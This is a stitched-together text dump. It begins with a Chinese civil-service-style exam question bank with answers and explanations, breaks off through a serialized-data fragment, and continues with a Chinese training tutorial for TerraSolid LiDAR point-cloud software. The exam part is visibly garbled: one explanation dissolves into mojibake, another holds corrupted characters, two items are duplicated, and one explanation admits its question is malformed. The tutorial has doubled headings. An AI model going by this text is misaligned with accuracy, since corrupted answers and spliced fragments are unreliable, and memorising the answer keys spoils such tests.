@#@@#@ A、某大学向某市旅游局联系有关学生毕业实习的事项@#@ B、某银行向各储蓄所下达季度储蓄任务@#@ C、某人事局贯彻财政局有关职工差旅费报销标准的文件@#@ D、某公司聘任四名部门经理@#@ 【答案】BCD@#@ 【解析】通知主要适用于批转下级机关的公文,转发上级机关和不相隶属机关的公文,传达要求下级机关办理和需要有关单位周知或者执行的事项,任免人员等。
@#@答案A属于不相隶属机关之间的商洽工作,应该用函,排除。
@#@@#@ 16、古人信奉“五德终始说”,认为朝代与金、木、水、火、土五行相对应,朝代更替源于五行相克。
@#@周朝尚红色、属火,那么秦朝尚黑色、属()。
@#@@#@ A、金@#@ B、木@#@ C、水@#@ D、土@#@ 【答案】C@#@ 【解析】五行相克的次序是:
@#@金克木、木克土、土克水、水克火、火克金。
@#@周属火,秦克周,根据五行相克“水克火”,故秦承水德,因此C项正确。
@#@@#@ 17、“坐地日行八万里,巡天遥看一千河”,这一著名诗句包含的哲理是()。
@#@@#@ A、物质运动的客观性和时空的主观性的统一@#@ B、物质运动的无限性和时空的有限性的统一@#@ C、时空的无限性和有限性的统一@#@ D、运动的绝对性和静止的相对性的统一@#@ 【答案】D@#@ 【解析】运动是绝对的,静止是相对的,物质是运动的绝对性和静止的相对性的统一。
@#@@#@ “坐地日行八万里,巡天遥看一千河”,这一著名诗句就体现了这一哲理。
@#@故选D。
@#@@#@ 18、发文登记一般采用的形式是()。
@#@@#@ A、联单式@#@ B、簿册式@#@ C、卡片式@#@ D、图表式@#@ 【答案】B@#@ 【解析】发文登记一般采用簿册式登记的形式,每年一本,便于保存,也便于查找。
@#@多数机关采用这种方式。
@#@故选B。
@#@@#@ 19、发文登记一般采用的形式是()。
@#@@#@ A、联单式@#@ B、簿册式@#@ C、卡片式@#@ D、图表式@#@ 【答案】B@#@ 【解析】发文登记一般采用簿册式登记的形式,每年一本,便于保存,也便于查找。
@#@多数机关采用这种方式。
@#@故选B。
@#@@#@ 20、以下诗句与描写的雨的种类对应不正确的是()。
@#@@#@ A、随风潜入夜,润物细无声──春雨@#@ B、七八个星天外,两三点雨山前──夏雨@#@ C、南朝四百八十寺,多少楼台烟雨中──秋雨@#@ D、夜阑卧听风吹雨,铁马冰河入梦来──冬雨@#@ 【答案】C@#@ 【解析】A项,“随风潜入夜,润物细无声”出自杜甫的《春夜喜雨》,描写的是春雨。
@#@B项,“七八个星天外,两三点雨山前”出自辛弃疾的《西江月•夜行黄沙道中》,描写的是夏雨。
@#@C项,“南朝四百八十寺,多少楼台烟雨中”出自杜牧的《江南春》,描写的是江南春雨,而不是秋雨。
@#@D项,“夜阑卧听风吹雨,铁马冰河入梦来”出自陆游的《十一月四日风雨大作》,描写的是冬雨。
@#@因此C项当选。
@#@@#@ 21、()是指随着农业生产的社会分工逐步加深,农业中的各生产部门,由从属性部门发展成为独立的部门。
@#@@#@ A、农业作业专业化@#@ B、农业生产部门专业化@#@ C、农业生产地区专业化@#@ D、农业生产区域化@#@ 【答案】B@#@ 【解析】农业生产部门专业化是指随着农业生产的社会分工逐步加深,农业中的各生产部门,由从属性部门发展成为独立的部门。
@#@例如:
@#@粮、棉、油、麻、丝、茶、糖、菜、烟、果、药、杂等逐步由种植业中相继独立出来成为专业化的生产部门。
@#@故选B。
@#@@#@ 22、在市场经济中起到主要经济杠杆作用的是价值规律,而价值规律的作用是()。
@#@@#@ A、通过竞争来实现的@#@ B、通过价格的波动表现出来的@#@ C、通过优胜劣汰来实现的@#@ D、通过商品交换来实现的@#@ 【答案】AB@#@ 【解析】本题考查政治经济学知识价值规律。
@#@价值规律的作用只有通过竞争的波动,进而以商品价格的波动形式来表现的,商品生产的价值规律才能得到贯彻,并不是通过优胜劣汰来实现,故C错误,更不是通过商品交换来实现,故D错误。
@#@本题出题形式有误。
@#@@#@ 23、某企业为了提高利润率,雇佣了一批夜工,采取昼夜轮班工作制,加速固定资本折旧。
@#@这样做之所以能够提高利润率是因为()。
@#@@#@ A、剩余价值率提高了@#@ B、工人的劳动生产率提高了@#@ C、固定资本无形损耗减少了@#@ D、固定资本有形损耗减少了@#@ 【答案】C@#@ 【解析】无形损耗的形成原因有两种,无论哪一种都会引起固定资本贬值。
@#@加速固定资本折旧可以提高利润率,是因为这样可以减少固定资本的无形损耗。
@#@故选C。
@#@@#@ 24、资本主义经济危机的实质是()。
@#@@#@ A、生产相对过剩@#@ B、整个社会经济生活陷入混乱@#@ C、商品买卖脱节@#@ D、金融企业倒闭@#@ 【答案】A@#@ 【解析】本题考查的是资本主义经济危机的实质。
@#@所谓资本主义经济危机,是指与资本主义经济制度直接有关,由资本主义经济制度因素引起的经济危机,即生产相对过剩的经济危机。
@#@因此,资本主义经济危机的实质是生产相对过剩的危机。
@#@故本题选A。
@#@@#@ 25、公文正文的字体应该是()。
@#@@#@ A、仿宋体@#@ B、宋体@#@ C、楷体@#@ D、黑体@#@ 【答案】A@#@ 【解析】公文正文使用3号仿宋字体,故本题答案选A。
@#@@#@ 26、公务型自我介绍的要素包括()。
@#@@#@ A、姓名@#@ B、单位及其部门@#@ C、所任职务@#@ D、从事的具体工作@#@ 【答案】ABCD@#@ 【解析】公务型自我介绍包括三个方面的要素,分别为:
@#@姓名、单位及其部门、所任职务或从事的具体工作。
@#@@#@ 27、老张的儿子小张(8岁)课间时与同学小李发生争执,不慎将小李的眼睛打伤,花去医疗费5000余元。
@#@这一损失应()。
@#@@#@ A、由老张承担,如果学校未尽管理职责,承担补充责任@#@ B、由学校承担,如果老张未尽监护职责,承担连带责任@#@ C、由老张承担,如果学校未尽管理职责,承担连带责任@#@ D、由学校承担,如果老张未尽监护职责,承担补充责任@#@ 【答案】A@#@ 【解析】无民事行为能力人、限制民事行为能力人造成他人损害的,由监护人承担侵权责任。
@#@监护人尽到监护责任的,可以减轻其侵权责任。
@#@无民事行为能力人或者限制民事行为能力人在幼儿园、学校或者其他教育机构学习、生活期间,受到幼儿园、学校或者其他教育机构以外的人员人身损害的,由侵权人承担侵权责任;@#@幼儿园、学校或者其他教育机构未尽到管理职责的,承担相应的补充责任。
@#@故选A。
@#@@#@ 28、×@#@×@#@县公安局拟发文严禁赌博活动,应选()行文。
@#@@#@ A、命令@#@ B、公告@#@ C、通知@#@ D、通告@#@ 【答案】D@#@ 【解析】通告适用于在一定范围内公布应当遵守或者周知的事项。
@#@故选D。
@#@@#@ 29、两种互补品中的一种商品的价格下降,将导致另一种商品的()。
@#@@#@ A、需求下降@#@ B、需求上升@#@ C、价格上升@#@ D、均衡价格@#@ 【答案】B@#@ 【解析】互补品是指两种商品之间存在着某种消费依存关系,即一种商品的消费必须与另一种商品的消费相配套。
@#@一般而言,两种互补品中的一种商品价格下降,该种商品的需求量将上升,其互补品的需求曲线的位置将发生移动,表现为需求的上升。
@#@故选B。
@#@@#@ 30、固定属性主要是指一种商品的相对不变的属性。
@#@下列属于商品的固定属性的是()。
@#@@#@ A、商品供货周期@#@ B、商品类别@#@ C、供货单位@#@ D、商品价格@#@ 【答案】B@#@ 【解析】固定属性主要是指一种商品的相对不变的属性,如商品编码、商品名称、生产厂家、商品条码、商品类别等。
@#@B项当选。
@#@@#@ 31、简报的种类尽管很多,但其结构却不无共同之处,一般都包括报头、()、()和报尾四个部分。
@#@有些还由编者配加按语,成为五个组成部分。
@#@@#@ A、标号;@#@正文@#@ B、文号;@#@正文@#@ C、标题;@#@正文@#@ D、标题;@#@内容@#@ 【答案】C@#@ 【解析】简报的种类尽管很多,但其结构却不无共同之处,一般都包括报头、标题、芷文湘报尾四个部分。
@#@@#@ 有些还由编者配加按语,成为五个组成部分。
@#@故选C。
@#@@#@ 32、偶然性对事物发展的作用是()。
@#@@#@ A、决定事物发展的根本方向@#@ B、可有可无的@#@ C、促进或延缓事物的发展进程@#@ D、加速新事物的产生和旧事物的灭亡@#@ 【答案】C@#@ 【解析】必然性和偶然性是揭示客观事物的发生、发展和灭亡的不同趋势的一对范畴,它们在事物的联系和发展中起着不同的作用。
@#@必然性产生于事物内部的主要原因,因而它在发展过程中居于支配地位,决定着事物发展的前途和方向;@#@偶然性则不同,它产生于事物次要的和外部的原因,因而在发展中一般只居于从属的地位,对发展的必然过程起着促进或延缓的作用。
@#@故本题选C。
@#@@#@ 33、在日常生活中,我们经常到农贸市场购买粮食、蔬菜和水果,这些物品的共同点是()。
@#@@#@ A、都是商品@#@ B、都具有使用价值@#@ C、都属于劳动产品@#@ D、都是一般等价物@#@ 【答案】ABC@#@ 【解析】我们到农贸市场购买的粮食、蔬菜和水果等是人们劳动所得的,是劳动产品;@#@购买意味着这些东西是通过交换所得,所以它们都是用于交换的劳动产品,是商品,是使用价值和价值的统一体。
@#@一般等价物是能够表现和衡量其他商品价值大小,并能和其他商品相交换的商品。
@#@因此,本题答案为ABC。
@#@@#@ 34、市场经济的基本规律是()。
@#@@#@ A、价值规律@#@ B、价格规律@#@ C、竞争规律@#@ D、自然规律@#@ 【答案】A@#@ 【解析】本题考查经济的相关知识,价值规律是商品生产和商品交换的基本经济规律。
@#@即商品的价值量取决于社会必要劳动时间,商品按照价值相等的原则互相交换。
@#@故选A。
@#@@#@ 35、在同一市场中,等离子电视机这类高档商品的售价比阴极射线管电视机这类普通商品的售价要高,这是因为:
@#@@#@ ()。
@#@@#@ A、高档商品包含较多的社会必要劳动时间@#@ B、高档商品包含较多的个别劳动时间@#@ C、高档商品的使用价值较大@#@ D、高档商品的使用功能比较完善@#@ 【答案】A@#@ 【解析】本题考查剩余价值,商品价格是商品价值的货币表现。
@#@商品是使用价值和价值的统一体。
@#@商品的价值是凝结在商品中的一般人类劳动。
@#@这种劳动是以量的形式表现出来的。
@#@商品的价值量由生产这种商品所耗费的社会必要劳动时间所决定的,题目中等离子电视机这类高档商品的售价比阴가가滄滄䢠庐᧾䢠魤가@#@ 36、下列边境口岸与所在省区组合正确的是()。
@#@@#@ A、黑河——吉林省@#@ B、丹东——黑龙江省@#@ C、绥芬河——辽宁省@#@ D、满洲里——内蒙古自治区@#@ 【答案】D@#@ 【解析】黑河位于黑龙江省,丹东属辽宁省,绥芬河位于黑龙江省,满洲里在内蒙古自治区。
@#@故选D。
@#@@#@ 37、下列行政组织结构中,()适用于专业区分极为明确的组织。
@#@@#@ A、直线结构形式@#@ B、职能式结构形式@#@ C、直线一职能式结构形式@#@ D、矩阵式结构形式@#@ 【答案】C@#@ 【解析】直线职能型组织结构是现代工业中最常见的一种结构形式,而且在大中型组织中尤为普遍。
@#@这种组织结构的特点是:
@#@以直线为基础,在各级行政主管之下设置相应的职能部门(如计划、销售、供应、财务等部门)从事专业管理,作为该级行政主管的参谋,实行主管统一指挥与职能部门参谋一指导相结合。
@#@所以直线一职能式结构形式适用于专业区分极为明确的组织。
@#@故选C。
@#@@#@ 38、判决书的正文的组成部分是()。
@#@@#@ A、案件事实@#@ B、判决理由@#@ C、合议庭成员署名@#@ D、判决结果@#@ 【答案】ABD@#@ 【解析】合议庭成员署名不属于判决书的正文部分内容。
@#@@#@ 39、请示具有要求上级机关答复批准工作,要得到上级机关给予理想批复,写好()是关键。
@#@@#@ A、请示标题@#@ B、请示缘由@#@ C、请示事项@#@ D、结束语@#@ 【答案】B@#@ 【解析】本题考查的是15种公文格式。
@#@在实践中,写好请示的缘由部分,往往是求得上级机关给予理想批复的关键,所以请示缘由部分往往比其他公文的缘由部分更为详细。
@#@故本题选B。
@#@@#@ 40、20世纪70年代初几乎同时提出金融深化和金融抑制理论的经济学家是()。
@#@@#@ A、爱德华•肖@#@ B、罗伯特•麦金农@#@ C、菲利普斯@#@ D、赫尔希曼@#@ 【答案】AB@#@ 【解析】1973年麦金农和肖在“经济发展中的金融深化”和“经济发展中的货币与资本”等著作中,阐述了金融体制与经济发展的密切联系,指出金融抑制会严重阻碍经济发展,而金融深化则将有力推动经济发展。
@#@@#@ 41、以下属于公文版头的是()。
@#@@#@ A、发文机关标志@#@ B、标题@#@ C、主送机关@#@ D、抄送机关@#@ 【答案】A@#@ 【解析】本题考查的是公文的格式。
@#@发文机关标志处于公文版头的位置;@#@标题和主送机关处于公文主体的位置;@#@抄送机关属于公文版记的部分。
@#@故本题选A。
@#@@#@ 42、以下对汉代农业技术的描述,不正确的是()。
@#@@#@ A、轮作制的推广@#@ B、牛耕技术得到普遍推广@#@ C、形成了整套田间灌溉系统@#@ D、产生了先进的灌溉和排水机械@#@ 【答案】C@#@ 【解析】汉代在南方有了双季稻。
@#@在土地多余的地方,还推广轮作制,并普遍推广牛耕技术。
@#@汉代还有龙骨水车,这是比较先进的灌溉和排水机械。
@#@故选C。
@#@@#@ 43、为应付复杂的行政管理事务,我们在进行行政决策时要拟订多个方案。
@#@不属于行政决策的是()。
@#@@#@ A、积极方案@#@ B、消极方案@#@ C、临时方案@#@ D、应变方案@#@ 【答案】B@#@ 【解析】行政决策方案分类一般有四种:
@#@积极方案、追踪方案、临时方案和应变方案。
@#@B项不属于行政决策方案。
@#@@#@ 44、下列批办意见不恰当的是()。
@#@@#@ A、拟同意@#@ B、同意,请XX科承办@#@ C、请XX同志阅处@#@ D、阅@#@ 【答案】AD@#@ 【解析】批办不能只阅不批,或是只批“拟同意”或“阅”之类模棱两可文字,必须提出具体可行的批办意见,提出如何具体组织解决公文中提到的问题。
@#@所以答案选AD。
@#@@#@ 45、在中华民族源远流长的历史长河中,诞生了许多歌颂爱情的诗词。
@#@下列诗词与作者对应错误的是()。
@#@@#@ A、日日思君不见君,共饮长江水——李之仪@#@ B、此情可待成追忆,只是当时已惘然——李煜@#@ C、曾经沧海难为水,除却巫山不是云——元稹@#@ D、衣带渐宽终不悔,为伊消得人憔悴——柳永@#@ 【答案】B@#@ 【解析】@#@ “此情可待成追忆,只是当时已惘然”出自唐代诗人李商隐的《锦瑟》,B项错误,当选。
@#@@#@ “日日思君不见君,共饮长江水”出自北宋诗人李之仪的《卜算子•我住长江头》。
@#@@#@ “曾经沧海难为水,除却巫山不是云”出自唐代诗人元稹的《离思五首》。
@#@@#@ “衣带渐宽终不悔,为伊消得人憔悴”出自北宋词人柳永的《蝶恋花•伫倚危楼风细细》。
@#@@#@ 46、公民道德建设是纠正道德失范的()。
@#@@#@ A、关键举措@#@ B、必由之路@#@ C、客观要求@#@ D、基础工程@#@ 【答案】B@#@ 【解析】公民道德建设是纠正道德失范的必由之路。
@#@故选B。
@#@@#@ 47、“当一位杰出的老科学家说什么是可能的时候,他差不多总是对的;@#@但当他说什么是不可能的时候,他差不多总是错的。
@#@”这一名言的哲学意蕴是()。
@#@@#@ A、在科学研究中,经验是不可靠的@#@ B、事物的可能性是因人而异的@#@ C、世界上一切事物只有可能性,没有不可能性@#@ D、每代人所获得的真理性认识,既有绝对性,又有相对性@#@ 【答案】D@#@ 【解析】任何一个时代的真理既有确定性、绝对性,又有不确定性、相对性,因此对一定时代来说不可能的事情对以后的时代来说往往就是可能的,因此真理需要不断地扩展和深化。
@#@故选D。
@#@@#@ 48、王、赵二人各以20%与80%的份额共有一间砖窑,出租给汪某,如王某欲将自己的份额转让,则下列表述正确的是()。
@#@@#@ A、汪某是承租人,所以有优先购买权,赵某无权干涉共有人王某对自己份额的处分,所以没有购买权@#@ B、赵某以共有人身份在同等条件下有优先购买权,汪某是承租人,所以没有优先购买权@#@ C、赵某和汪某都享有优先购买权,二人完";i:
24;s:
24710:
"LiDAR及其数据后处理技术初级培训教程LiDAR及其数据后处理技术初级培训教程2关于TerraSolid软件TerraScan软件模块TerraScan模块是用来处理数以千万计的激光点数据,较大内存的计算机一次能处理超过1000万个点。
@#@软件里提供的工具可以广泛应用于电力输送、洪水分析、高速公路设计、钻孔勘探、森林普查、数字城市建模等不同领域。
@#@该模块可以从文本文件或二进制文件读入激光点数据,包含如下功能:
@#@三维方式浏览点数据;@#@自定义点类,如:
@#@地表类、植被类、建筑物类、电线类;@#@激光点分类;@#@根据自定义规则自动分类激光点;@#@交互式判别三维目标,如电力铁塔;@#@应用围栏删除不要或错误的点;@#@删除不必要的点以减少数据量;@#@通过捕捉激光点数字化地物;@#@探测电力线或房屋的屋顶;@#@输出高度颜色栅格影像图;@#@利用激光点组成断面图;@#@将分出的点类输出到文本文件。
@#@TerraScan完全集成在MicroStation中,所以如果你对MicroStation软件非常熟悉,那么学习起TerraScan的操作将很有利。
@#@TerraModeler模块TerraModeler是基于MicroStation之上的建立地表模型软件,可以通过本模块建立地表、土层或者设计文件的三角面模型,模型的产生可以是基于测量数据,图形元素或者是XYZ文本文件的。
@#@TerraModeler可以在同一个设计文件中处理没有数量限制的不同表面,并且可以交互编辑这些表面。
@#@TerraModeler可以执行以下的操作:
@#@?
@#@编辑任意独立点;@#@?
@#@在围栏里移动、升降、推平所有点;@#@?
@#@构建断裂线,在模型中添加元素;@#@?
@#@把模型作为辅助设计的数据参照;@#@?
@#@把元素降到模型表面,使元素贴近地表面;@#@?
@#@建立三维的剖面图;@#@?
@#@创建等高线图;@#@?
@#@创建彩色格网图;@#@13LiDAR及其数据后处理技术初级培训教程LiDAR及其数据后处理技术初级培训教程?
@#@计算两个面之间的体积。
@#@TerraPhoto模块TerraPhoto模块根据航空影像产生正射影像,是专门设计为处理执行扫描任务产生的影像文件,并且要应用到激光点生成的精确地表模型。
@#@整个纠正过程可以在测区中没有任何控制点条件下执行。
@#@该模块操作简单,具有以下的优点:
@#@只需一步,可以直接产生并镶嵌正射影像;@#@根据激光点构造所有地形表面精确三角面模型,系统根据高程值逐像素纠正影像;@#@自动平滑过渡两个影像间的色差。
@#@TerraPhoto同时也提供对MicroStation中的显示背景影像的支持。
@#@其所支持的影像格式有:
@#@ECW,GeoTIFF,TIFF,BMP,CIT,COT,RLE,PIC,PCX,GIF,JPG和PNG。
@#@TerraPhoto完全集成在MicroStation中,可以应用MicroStation提供的强大功能。
@#@3TerraSolid软件安装软件安装计算机配置要求:
@#@Pentium或者更高的处理器(建议pIV3.0以上)WindowsXP,2000或NT4.0操作系统要求有鼠标1024*768显示分辨率或者更高(建议两个显示器)256MBRAM(建议1024MB以上)安装MicroStationSE,MicroStationJ,MicroStationV8或或MicroStationGeoOutlook软件中的一种,建议安装MicroStationV8。
@#@软件安装过程安装MicroStation安装TerraSolid软件安装TerraSolid软件的密匙(硬件狗?
@#@)启动与退出软件下面以启动TerraScan为例,讲解如何启动TerraSolid模块。
@#@14LiDAR及其数据后处理技术初级培训教程LiDAR及其数据后处理技术初级培训教程启动TerraScan启动TerraScanTerraScan是一个在MicroStation里运行的MDL应用程序。
@#@其启动过程如下:
@#@首先启动MicroStation软件,注意应选择三维的设计模式。
@#@从“实用工具菜单(Utilities)”下,选择“MDL应用程序(MDLApplication)”,打开MDL设置框(图4)。
@#@图7MDLApplication对话框1、在“可用的应用程序”列表里选择“Tscan”2、点“装载(Load)”按钮或者键入“MDLLOADTSCAN”TerraScan启动后,用户设置选项定义了程序启动时打开的菜单和工具箱,除了打开主工具箱,TerraScan增加一个“应用程序菜单(Applications)”到MicroStation的菜单里。
@#@“AvailableApplications”列表框显示MicroStation能够找到的所有MDL应用程序。
@#@MicroStation在MS_MDLAPPS配置变量的目录列表里搜寻MDL应用程序。
@#@如果MicroStation没能找到Tscan.ma,应该检查配置变量的值,确定值中是否包括TSCAN.MA的目录路径。
@#@要察看配置变量,使用“工作空间(Workspace)”菜单里的“配置(Configuration)”命令。
@#@退出退出TerraScan退出MicroStation的时侯,TerraScan将自动退出。
@#@若希望MicroStation继续运行,而退出TerraScan,需要释放掉TerraScan占用的内存。
@#@退出退出TerraScan的过程:
@#@的过程:
@#@1、从“实用工具(Utilities)”菜单下,选择“MDL应用程序(Application)”,打开MDL设置对话框。
@#@2、在“已装载应用程序(LoadedApplications)”列表框中选择“Tscan”3、按“卸载(Unload)”按钮15LiDAR及其数据后处理技术初级培训教程LiDAR及其数据后处理技术初级培训教程或者键入“MDLUNLOADTSCAN”命令进行卸载(退出)。
@#@4TerraScan教程4.1浏览激光点4.1.1载入激光点载入激光点有两种方式:
@#@一种是用下图中红框中的机载点工具,另一种是通过菜单中的“Readpoints”命令。
@#@图8TerraScan的主要工具窗口图9TerraScan的主菜单载入机载点工具用来从一个或者几个文件读入机载扫描仪激光点。
@#@在用激光点开始工作前,总是要使用这个工具。
@#@这个工具可以自动识别能被应用程序支持文件的格式。
@#@载入激光点的步骤:
@#@载入激光点的步骤:
@#@1、选择“载入机载点”工具,打开一个对话框,允许选择一个或者多个文件;@#@2、增加一个想要处理的文件到文件列表里,单击“done”按钮;@#@打开载入点的对话框,这个对话框的内容由所选择输入的文件格式而定。
@#@窗体里的坐标轴显示在测量文件里找到的第一个点的坐标值,这有助于你选择一个合适的坐标变换参数把点转换到设计文件坐标系中。
@#@16LiDAR及其数据后处理技术初级培训教程LiDAR及其数据后处理技术初级培训教程图10载入激光点窗口各设置参数的解释如下表:
@#@设置设置作用作用Transform坐标转换,用于输入文件坐标到设计文件坐标的转换Filtering过滤点,当激光点太多时使用Insidefenceonly如果开,仅仅载入在一个围栏或者选中的某形状元素里中的那些点Fileinformation激光点文件的信息Default当你引入没有分类信息的文件时,所有点分配到默认点类Flightlinenumbering航线编码3、键入设置值,单击“OK”按钮。
@#@TerraScan把所有选择过的文件中的数据读入到内存中,打开主窗口以进一步处理这些点。
@#@4.1.2显示激光点工具箱显示激光点工具箱在“ViewLaser”工具箱里的有创建和控制断面图工具、穿行显示工具、点密度测量工具和更新距离着色工具。
@#@图11显示激光点工具箱下面对工具详细描述:
@#@功能功能使用工具使用工具切换视图显示3D交叉断面图DrawSection前后移动断面图MoveSection在断面视图里选择剪切正交区域而生成新的断面视图CutSection沿着路径移动和显示断面图TravelPath17LiDAR及其数据后处理技术初级培训教程LiDAR及其数据后处理技术初级培训教程测量点的密度Measurepointdensity重新计算距离颜色并更新视图UpdateDistanceColoring工具工具1绘截面图绘截面图“DrawSection”工具创建由两点定义的一个位置的3D截面视图。
@#@截面图仅仅是一个在给定的空白部分里显示所有可见的设计文件元素和激光点的MicroStation的侧视图。
@#@该工具对于放置向量元素和查看激光点是很理想的。
@#@如果用截面视图来放置元素,它们将被放到真实的3D位置。
@#@绘一个截面视图的过程绘一个截面视图的过程1、选择“DrawSection”工具;@#@2、键入开始(或者左边)的截面线;@#@3、键入结束(或者右边)的截面线;@#@4、在数据视图单击输入或者在“drawsection”窗口键盘输入值定义截面视图的深度;@#@5、用鼠标选择要显示截面的视图窗口。
@#@这个工具将把视图切换到截面图,计算机自动计算显示范围,使给定矩形区域里的所有激光点在视图中可见。
@#@下面是画断面窗体及参数说明:
@#@图12设置断面窗口设置设置作用作用Depth在截面中心线的两侧每一侧显示的深度工具工具2移动断面移动断面“MoveSection”工具可以沿断面垂线方向前后移动截面区域。
@#@步距可以设成一个或半个视图深度。
@#@前后移动截面视图的过程:
@#@1、打开“MoveSection”工具;@#@2、把鼠标移到你想要前后移动的视图窗口,当鼠标在截面图里时,系统在数据视图里显示一个矩形,以表示截面图的范围;@#@3、在截面视图里单击鼠标左键,向前移动一个视图;@#@或者单击鼠标右键,向后移动一个视图,而数据的视图中的矩形也跟随着一起移动。
@#@下面是“移动断面”窗体的参数说明:
@#@18LiDAR及其数据后处理技术初级培训教程LiDAR及其数据后处理技术初级培训教程设置设置作用作用Moveby步距:
@#@Halfofviewdepth-移动步长是截面厚度的一半Fullviewdepth-移动步长是截面厚度,矩形内容彼此相连但不重叠工具工具3截面裁切截面裁切“CutSection”工具创建一个与另一个截面视图垂直的3D截面视图。
@#@当在截面视图里有感兴趣的区域,并且要获得一个从不同的视角看起来较好理解的某些数据时,可以剪切现有截面图,生成一个与之垂直的截面视图。
@#@剪切生成一个垂直截面视图的过程:
@#@1、首先用“DrawSection”或者“TravelPath”工具创建一个源截面视图;@#@2、选择“CutSection”工具;@#@3、在源截面视图里单击,键入一个中心线位置。
@#@新的截面视图有一根中心线贯穿给定的原截面并与原截面垂直;@#@4、单击输入的数据或者键盘输入一个值定义截面视图深度;@#@5、选择要显示的视图窗口,以显示新的截面视图。
@#@下面是裁切断面图的窗口及参数设置:
@#@设置设置作用作用Depth截面线的两侧的每一侧上显示深度工具工具4路线穿行路线穿行路线穿行工具可以沿着一个给定的路线观看断面图的连续移动过程,这个过程叫做路线穿行(flythru)。
@#@当沿着定线漫游时,可以定义要见到什么类型的视图,其支持显示的类型包括:
@#@顶视图、横截面、纵断面和等距视图。
@#@这个工具提供了一个极好的检查数据方法,可以沿着检查路径自动浏览。
@#@定线元素可能是任意的MicroStation设计文件里的线性元素,一般情况下,手动创建元素,另外,也可以用TerraScan的绘路线菜单命令绘出一根近似的由输入激光点的顺序推断出的航线。
@#@创建路线穿行的过程:
@#@1、在数据视图里选择一个线性元素;@#@2、选择“路线穿行”工具,打开路线穿行对话框,如图:
@#@19LiDAR及其数据后处理技术初级培训教程LiDAR及其数据后处理技术初级培训教程图13路线穿行参数设置窗口设置参数如下:
@#@设置设置作用作用Step沿着准线行移动的步长,作用与横截面的厚度相同Width横截面的宽度。
@#@横截面显示为一个由准线左右各占一半宽度的矩形区域3、输入各种参数;@#@4、单击“OK”按钮;@#@打开“TravelPlayer”对话框,如下图:
@#@图14按路径播放控制窗口“TravelPlayer”支持下列沿着定线漫游工具:
@#@工具名称工具名称作用作用Usingmouse当你鼠标沿着路线移动时,动态更新横截面显示,如果你按着鼠标,这个工具将会更新所有的视图Tostart移到路线开始处Toend移到路线结束处Playbackward开始沿着准线反向移动Stepbackward停止在最后一个横截面上Stop停止移动Stepforward停止在第一个横截面上Playforward开始沿着路线向前移动工具工具5点密度测量点密度测量点密度测量工具可以测量激光点的平面分布情况,在Microstation的状态栏中20LiDAR及其数据后处理技术初级培训教程LiDAR及其数据后处理技术初级培训教程显示出统计的结果。
@#@点密度测量窗口如图:
@#@图15点密度测量设置窗口各参数的设置如下表:
@#@设置作用Class要统计密度的点类,可以是所有点类,也可以是某点类Use是使用载入的点还是使用工程中的所有点Sample采样的形状类型:
@#@圆形、矩形、所有点(没有形)Width采样的形状是圆形或矩形时的半径或边长工具工具6更新距离着色更新距离着色更新距离着色工具重新计算激光点与选择面的距离,并更新视图。
@#@如果要用这个工具,在距离着色可用的前提下,还要:
@#@1、激光点已经按距离颜色分类2、已经转换了激光点xy坐标或高程3、在设计文件里有修改过根据距离计算的元素4.1.3视图的显示模式视图的显示模式“Displaymode”菜单命令让你控制激光点如何显示在视图窗口中。
@#@可以控制哪些点可见,以及它们如何被着色。
@#@通常情况,最常用的是根据点的类别显示激光点,另外还有根据航线显示激光点。
@#@通常激光点以点类的颜色着色。
@#@同时,也可以选择,以回波、高程、航线、强度、距离和点色来作为着色的依据。
@#@如何显示模式窗口如何显示模式窗口:
@#@1.选择“View”菜单中的“Displaymode”命令;@#@弹出“Displaymode”对话框如图10所示:
@#@21LiDAR及其数据后处理技术初级培训教程LiDAR及其数据后处理技术初级培训教程图16显示模式窗口2.设置“View”的数值为你要调整的视图;@#@3.选择希望的可见度和着色设置;@#@4.点击类列表中项目决定类是打开还是关闭;@#@5.点击“Apply”更新选定的视图。
@#@各设置说明如下:
@#@设置设置功能功能View改变哪个窗口的显示模式Colorby颜色的依据:
@#@点类、回波、高程、航线、强度、距离、或是点的颜色Weight画点的宽度Lines可视航线:
@#@所有、选中的Sparsedisplay如果勾选,缩小视图时显示会加快Usedepth如果勾选,三维视图将用落在最近于像素的点着色稀疏显示稀疏显示Sparsedisplay是关于一个快速缩小显示的操作。
@#@如果稀疏显示被打开,TerraScan只在放大接近点的时候将显示所有的点。
@#@当在更远的距离看点时,TerraScan将依缩小倍率只显示1/5,1/10,1/20或1/50的点。
@#@在多数情况下,要保持稀疏显示状态为打开,在需要观察一批数据中一个特别的点类(该层由单独的点构成)的时候才将它关闭。
@#@察看低于地面的点或其他问题点是典型的例子应用。
@#@距离设色距离设色Distancecoloring是设色模式之一,程序将计算每一个点相对与一个参考面的距离,并依据这个距离给点附上颜色。
@#@22LiDAR及其数据后处理技术初级培训教程LiDAR及其数据后处理技术初级培训教程“TerraScan”比较激光点所能使用的参考面有:
@#@航线平均面:
@#@点与一些部分重叠的航线决定的平均平面比较,能用它去比较不同航线匹配得好不好。
@#@与航线平均平面比较需要已经将每条航线地物分别分过类才有效。
@#@元素面:
@#@点与设计文件中的矢量元素面比较。
@#@能用它去比较特征地物(如与点云匹配的建筑物)的矢量化情况。
@#@地面模型面:
@#@点与一个三角面模型比较。
@#@能用它将激光数据与用其他方式得到的表面模型比较。
@#@4.2激光点分类在主窗体的菜单里提供了大量的分类工具。
@#@这一节里介绍各种分类算法的基本原理。
@#@读者可以根据本教程的讲解理解每个算法的原理,然后根据例子练习。
@#@4.2.1使用类算法使用类算法是简单的把所有点从一类转换到另一类。
@#@经常使用它回退原来的分类工作。
@#@4.2.2分离低点规则分离低点规则是把较低的点从与其相邻的点中分离出来。
@#@经常用于搜寻明显低于地面的点,而这些点可能是错误的。
@#@这一算法的基本原理是:
@#@用一个点(中心点)的高程值与给定距离范围内每一个点的高程值比较,如果中心点明显低于其它点,这个点将被分离出来为一类。
@#@有时会有错误点密度较高的情况,如果有几个错误点彼此离的很近,搜索单一点并不能发现它们。
@#@所以,这一规则也可以把一组点从它们周围的点中分离出来。
@#@分离低点算法规则窗体如下:
@#@图17分类低点各设置值的作用23LiDAR及其数据后处理技术初级培训教程LiDAR及其数据后处理技术初级培训教程设置设置作用作用Fromclass源点类(点将从此类分离出来)Toclass目标点类(点将被分到此类中而成为此类的元素)Search搜索一个点还是一组点Maxcount要分离出来一组低点的最大数量Morethan与其它点比较最小的高度差值,通常取0.3-1.0mWithin距离搜索范围,每个点在Within范围内与其他点比较,通常2.0-8.0m4.2.3低于地表算法低于地表分类算法是把一些低于邻近点的点从源类中分离出来。
@#@这一方法在地表分类之后运行,目的是确定哪些是低于真实地表面的点。
